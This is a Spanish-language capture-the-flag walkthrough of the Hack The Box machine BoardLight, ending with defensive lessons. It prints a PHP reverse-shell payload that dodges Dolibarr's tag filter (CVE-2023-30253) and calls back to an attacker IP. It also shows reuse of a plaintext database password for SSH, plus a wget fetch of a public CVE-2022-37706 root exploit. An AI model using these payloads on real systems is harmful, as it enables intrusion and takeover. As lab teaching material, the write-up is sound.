the_open_door
café
ESEN

BoardLight

HackTheBoxFácilLinux10.10.11.11

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dolibarr#cve-2023-30253#vhost#php-injection#credential-reuse#enlightenment#cve-2022-37706#suid#linux
TL;DR. BoardLight es una máquina Linux fácil. Por fuzzing de virtual hosts (con --append-domain) aparece crm.board.htb, que corre Dolibarr 17.0.0. Entramos con las credenciales por defecto admin:admin y, desde el constructor de sitios web, abusamos de CVE-2023-30253: un filtro que bloquea las etiquetas <?php se evade escribiéndolas como <?pHp, logrando ejecución de código y una shell como www-data. En el conf.php de Dolibarr hay una contraseña de base de datos en claro que reutilizamos por SSH para el usuario larissa y cogemos user.txt. Una enumeración revela el gestor de ventanas Enlightenment con binarios SUID; explotamos CVE-2022-37706 y escalamos a root.

Reconocimiento

Escaneo inicial

Antes de lanzar nada, mkt (una función del ~/.zshrc) crea el esqueleto de directorios donde va a quedar todo lo de la máquina, para no acabar mezclando escaneos, contenido descargado y exploits:

mkdir boardlight
cd boardlight
mkt
ls

mkt crea los directorios content, exploits, nmap y scripts dentro de ~/machines/boardlight

content  exploits  nmap  scripts

Con eso listo, un escaneo TCP completo con nmap muestra solo dos puertos: 22 (SSH) y 80 (HTTP).

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.11

nmap -p- sobre 10.10.11.11: solo 22 y 80 abiertos, con syn-ack ttl 63

Not shown: 64939 closed tcp ports (reset), 594 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Para arrastrar esos dos puertos al siguiente comando sin teclearlos, extractPorts los lee del fichero del escaneo y los deja en el portapapeles:

extractPorts scan

extractPorts leyendo el fichero scan de BoardLight y devolviendo IP Address 10.10.11.11 y Open ports 22,80, copiados al portapapeles

Extracting information ...

    IP Address: 10.10.11.11
    Open ports: 22,80

Ports copied to clipboard

La columna REASON da el TTL de regalo, sin necesidad de un ping aparte: 63 → Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1. Indicio, no prueba (se puede falsificar), pero encaja con lo que confirma el escaneo de versiones. Con los dos puertos localizados, un -sCV dirigido detalla qué corre en ellos:

nmap -p22,80 -sCV 10.10.11.11

nmap -sCV: OpenSSH 8.2p1 Ubuntu y Apache 2.4.41, sin título en la web

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El 4ubuntu0.11 del OpenSSH fija la base en Ubuntu 20.04 (Focal). Lo que todavía falta es el nombre de dominio, porque el -sCV no lo da: la web no tiene ni título. Lo suelta whatweb:

whatweb http://10.10.11.11

whatweb sobre 10.10.11.11 revela el campo Email con el valor info@board.htb

http://10.10.11.11 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ],
Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]

Email[info@board.htb]: la dirección de contacto incrustada en la portada delata el dominio board.htb, que añadimos a /etc/hosts:

sudo nano /etc/hosts

el /etc/hosts con la línea 10.10.11.11 board.htb añadida

127.0.0.1       localhost admin.sightless.htb
127.0.1.1       kali
10.10.11.11     board.htb

La portada, ya servida por nombre, sigue siendo estática: una plantilla corporativa con secciones What we do, Who we are y un formulario de contacto que no envía a ningún sitio interesante.

la portada de board.htb, una plantilla corporativa estática con formulario de contacto

Descubrir el subdominio crm.board.htb

Antes de los vhosts toca lo evidente, enumerar rutas, y ahí no hay nada:

dirsearch -u http://board.htb

dirsearch sobre board.htb: casi todo 403, solo about.php y contact.php responden 200

[13:52:24] 200 -    2KB - /about.php
[13:52:39] 200 -    2KB - /contact.php
[13:52:18] 403 -   274B - /.ht_wsr.txt
[13:52:18] 403 -   274B - /.htaccess.bak1
...
[13:53:03] 403 -   274B - /server-status

Solo dos páginas más de la misma web estática y una pared de 403. El escaneo de rutas está agotado, así que pasamos a virtual hosts. Aquí la clave fue el parámetro --append-domain de gobuster, que añade el dominio base a cada palabra del diccionario (de lo contrario no se encontraba nada). Aparece crm.board.htb.

gobuster vhost -u http://board.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain -t 100 | grep -v "Status: 400"

gobuster vhost con --append-domain descubre crm.board.htb

Found: crm.board.htb Status: 200 [Size: 6360]

Lo añadimos a /etc/hosts, en la misma línea que el dominio base:

el /etc/hosts con board.htb y crm.board.htb en la misma línea de 10.10.11.11

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.11     board.htb crm.board.htb

Al visitarlo encontramos el panel de inicio de sesión de Dolibarr, un ERP/CRM de código abierto escrito en PHP.

crm.board.htb presenta el panel de login de Dolibarr

Shell como www-data

Dolibarr 17.0.0 y credenciales por defecto

Probamos las credenciales por defecto típicas de Dolibarr y admin:admin funciona: nos deja entrar con una sesión limitada. La versión, visible en la interfaz, es 17.0.0.

Acceso a Dolibarr con admin:admin; la versión es 17.0.0

Que la sesión es limitada se ve enseguida: casi cualquier apartado de administración responde con un Access denied, y el propio mensaje confirma que el login en curso es admin. La única pestaña que sigue viva es Websites, y es justamente la que interesa.

Dolibarr responde Access denied en el panel de administración, con Current login: admin y la pestaña Websites resaltada

CVE-2023-30253: evadir el filtro de etiquetas PHP

Dolibarr 17.0.0 es vulnerable a CVE-2023-30253. La aplicación incluye un constructor de sitios web (Websites) que permite editar el HTML de una página. Para evitar la ejecución de código, filtra las etiquetas <?php... pero el filtro distingue mayúsculas y minúsculas, y PHP no: escribir la etiqueta como <?pHp evade el control y el código se interpreta igualmente.

El constructor arranca vacío, sin ningún sitio creado:

la pestaña Websites de Dolibarr, todavía sin ningún sitio creado

El formulario de creación solo exige el nombre y el idioma; el resto se puede dejar en blanco:

el formulario Create website de Dolibarr con el nombre machine y el idioma English

Con el sitio machine creado, la barra superior habilita la segunda fila, la de páginas:

la barra de Dolibarr con el sitio machine activo y la fila Page habilitada debajo

La página se crea desde cero a partir de una plantilla vacía:

el formulario Add page/container con el tipo Page, la plantilla Empty page y el título web1

Y ya con la página creada aparece el botón que lo abre todo, Edit HTML Source:

la barra de la página web1 con el botón Edit HTML Source resaltado

Ahí dentro inyectamos una etiqueta PHP "disfrazada" que lance una reverse shell.

<section id="mysection1" contenteditable="true">
    <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.15.39/1010 0>&1'"); ?>
</section>

En el editor de Websites de Dolibarr inyectamos &lt;?pHp ... ?&gt; para evadir el filtro

La barra de direcciones confirma de paso el punto exacto de inyección: crm.board.htb/website/index.php?website=machine&pageid=17&action=editsource.

Guardamos con Save, nos ponemos en escucha y pulsamos el icono de previsualizar (los prismáticos, a la derecha de la barra de página):

la barra de la página con el payload guardado y el icono de previsualizar resaltado a la derecha

La previsualización abre una pestaña que se queda en blanco y no termina de cargar nunca: señal de que el exec del PHP ha bloqueado la respuesta porque la shell ya está corriendo.

la pestaña de previsualización abierta se queda en blanco, sin terminar de cargar

sudo ncat -nlvp 1010

ncat recibe la conexión desde 10.10.11.11 y whoami devuelve www-data

Ncat: Listening on 0.0.0.0:1010
Ncat: Connection from 10.10.11.11:46360.
whoami
www-data

Shell como www-data.

Shell como larissa

Contraseña de base de datos en conf.php

Como www-data, el sitio donde casi siempre hay credenciales es la configuración de la aplicación. El conf.php de Dolibarr está en su directorio conf/ bajo la raíz del sitio.

cat /var/www/html/crm.board.htb/htdocs/conf/conf.php

conf.php de Dolibarr expone la contraseña de base de datos en texto plano

// File generated by Dolibarr installer 17.0.0 on May 13, 2024
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';

El propio comentario de cabecera confirma la versión (generated by Dolibarr installer 17.0.0) de forma independiente a lo que decía la interfaz, y la contraseña de la base de datos es serverfun2$2023!!. En /etc/passwd solo hay dos usuarios con shell: root y larissa.

Merece la pena fijarse en cómo se hace el pivote, porque no hace falta salir de la máquina: desde la propia shell de www-data se lanza el SSH contra localhost, que es lo que permite reutilizar la contraseña sin depender de que el 22 esté expuesto hacia fuera.

cat /etc/passwd | grep -i 'sh$'
ssh larissa@localhost
# password: serverfun2$2023!!
cat user.txt

ssh larissa@localhost desde la shell de www-data, con la contraseña del conf.php

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ssh larissa@localhost
Could not create directory '/var/www/.ssh'.
larissa@localhost's password: serverfun2$2023!!
Last login: Sun Sep 15 14:49:59 2024 from 10.10.14.11
larissa@boardlight:~$ ls
brdex.sh  Documents  linpeas.sh  Pictures  Templates  Videos
Desktop   Downloads  Music       Public    user.txt

El Could not create directory '/var/www/.ssh' es solo ruido: www-data no tiene home escribible, pero la autenticación funciona igual. Con la sesión de larissa en pie, la reutilización de credenciales queda confirmada y la flag está a la vista:

user.txt leída como larissa

larissa@boardlight:~$ cat user.txt
e3272ab8d1a2b4e9fa924af0256e13a3

Shell como root

Enumeración: Enlightenment con SUID

El primer reflejo tras conseguir una shell es buscar binarios SUID (se ejecutan con los privilegios de su dueño; los que pertenecen a root son candidatos directos a escalada). El comando manual que lo revela, sin depender de ningún script, es:

find / -perm -4000 -type f 2>/dev/null

Entre los binarios de siempre (sudo, passwd, mount, su...) aparecen varios fuera de lo común, todos del gestor de ventanas Enlightenment, un WM ligero cuyo nombre encaja además con el de la máquina:

/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight

linpeas (repo) llega a la misma conclusión y lo resalta en su salida, pero el find de una línea ya basta para tirar de ese hilo, y enseña a leer el sistema en lugar de fiarlo todo a la herramienta automática:

./linpeas.sh

linpeas señala binarios SUID de Enlightenment

╔══════════╣ Files with Interesting Permissions
╚ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root  27K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root  15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root  15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root  15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
...
-rwsr-xr-x 1 root root 163K Apr  4  2023 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

Determinamos la versión exacta de Enlightenment, necesaria para buscar un exploit concreto.

enlightenment --version

enlightenment --version informa de la versión 0.23.1

Version: 0.23.1

CVE-2022-37706: escalada por SUID a root

Esa versión es vulnerable a CVE-2022-37706, una escalada local de privilegios que abusa de cómo Enlightenment gestiona el montaje de dispositivos con sus binarios SUID. Existe un exploit público; lo subimos a la víctima y lo ejecutamos (no requiere argumentos).

git clone https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit

git clone del repositorio CVE-2022-37706-LPE-exploit, 92 objetos y 498.76 KiB

Cloning into 'CVE-2022-37706-LPE-exploit' ...
remote: Enumerating objects: 92, done.
remote: Total 92 (delta 32), reused 14 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (92/92), 498.76 KiB | 2.99 MiB/s, done.
Resolving deltas: 100% (32/32), done.

Dentro del repositorio está el exploit.sh, que se sirve desde el mismo directorio:

python3 -m http.server 80

el servidor HTTP sirviendo el repositorio y registrando el GET /exploit.sh de 10.10.11.11 con un 200

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.11 - - [16/Sep/2024 00:18:35] "GET /exploit.sh HTTP/1.1" 200 -

La transferencia se hace con un wget desde la víctima, y el exploit se mueve a /tmp para ejecutarlo desde un directorio con escritura:

wget del exploit desde la máquina víctima y traslado a /tmp

larissa@boardlight:~$ wget http://10.10.15.39/exploit.sh
2024-09-15 15:18:35 (73.0 MB/s) - 'exploit.sh.1' saved [709/709]
larissa@boardlight:~$ mv exploit.sh /tmp/
larissa@boardlight:~$ cd /tmp

Son 709 bytes: es un script de shell corto, no un binario, así que conviene leerlo antes de lanzarlo. No pide argumentos.

chmod +x exploit.sh
./exploit.sh

El exploit de CVE-2022-37706 encuentra el binario SUID vulnerable y abre una shell de root

CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Welcome to the rabbit hole :)
If it is not found in fstab, big deal :D
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
# cat /root/root.txt
c40bb6c9556fd2df78a3ce8792717973

El mount: ... can't find in /etc/fstab que aparece por el camino no es un fallo, es precisamente el efecto buscado: el exploit abusa de cómo enlightenment_sys, que corre con SUID de root, construye la orden de montaje sin sanear la ruta, de modo que el error de mount llega después de que la inyección ya se haya ejecutado.

Máquina rooteada.

Cadena de ataque

HTTP board.htb (80)
  │  gobuster vhost --append-domain
  ▼
crm.board.htb  ─►  Dolibarr 17.0.0  ─►  login admin:admin (por defecto)
  │  CVE-2023-30253: <?php filtrado  ─►  <?pHp (evasión)
  ▼
RCE en el editor Websites  ─►  www-data  ─►  reverse shell
  │  conf.php: db_pass serverfun2$2023!!
  ▼
SSH larissa  (reutilización de credenciales)  ─►  user.txt
  │  linpeas: Enlightenment 0.23.1 con SUID
  ▼
CVE-2022-37706 (SUID LPE)  ─►  root  ─►  root.txt

Lecciones aprendidas

  • Un parámetro cambia el resultado de la enumeración. El subdominio crm.board.htb no aparecía hasta usar --append-domain en gobuster. Conocer bien las herramientas (y reintentar con otras opciones) es parte del fuzzing de vhosts.
  • Las credenciales por defecto siguen abriendo puertas. admin:admin en Dolibarr bastó para entrar. Cambiar las credenciales de instalación es lo primero que debería hacerse en cualquier despliegue.
  • Filtrar por mayúsculas es no filtrar. El control que bloqueaba <?php se saltaba con <?pHp porque PHP no distingue mayúsculas en las etiquetas. Las listas negras sensibles a mayúsculas son casi siempre evadibles; hay que validar de forma robusta o, mejor, parchear (CVE-2023-30253).
  • La configuración de la app es un llavero. El conf.php guardaba la contraseña de la base de datos en claro, y larissa la reutilizaba para SSH. Secretos por entorno y fuera de ficheros legibles habrían cortado el pivote.
  • Un SUID de más es root. Enlightenment corría con binarios SUID vulnerables (CVE-2022-37706). El bit SUID concede los privilegios del dueño: cada binario SUID es superficie de ataque y debe mantenerse al mínimo y actualizado.
Cheatsheet de comandos 19 comandos

Repaso rápido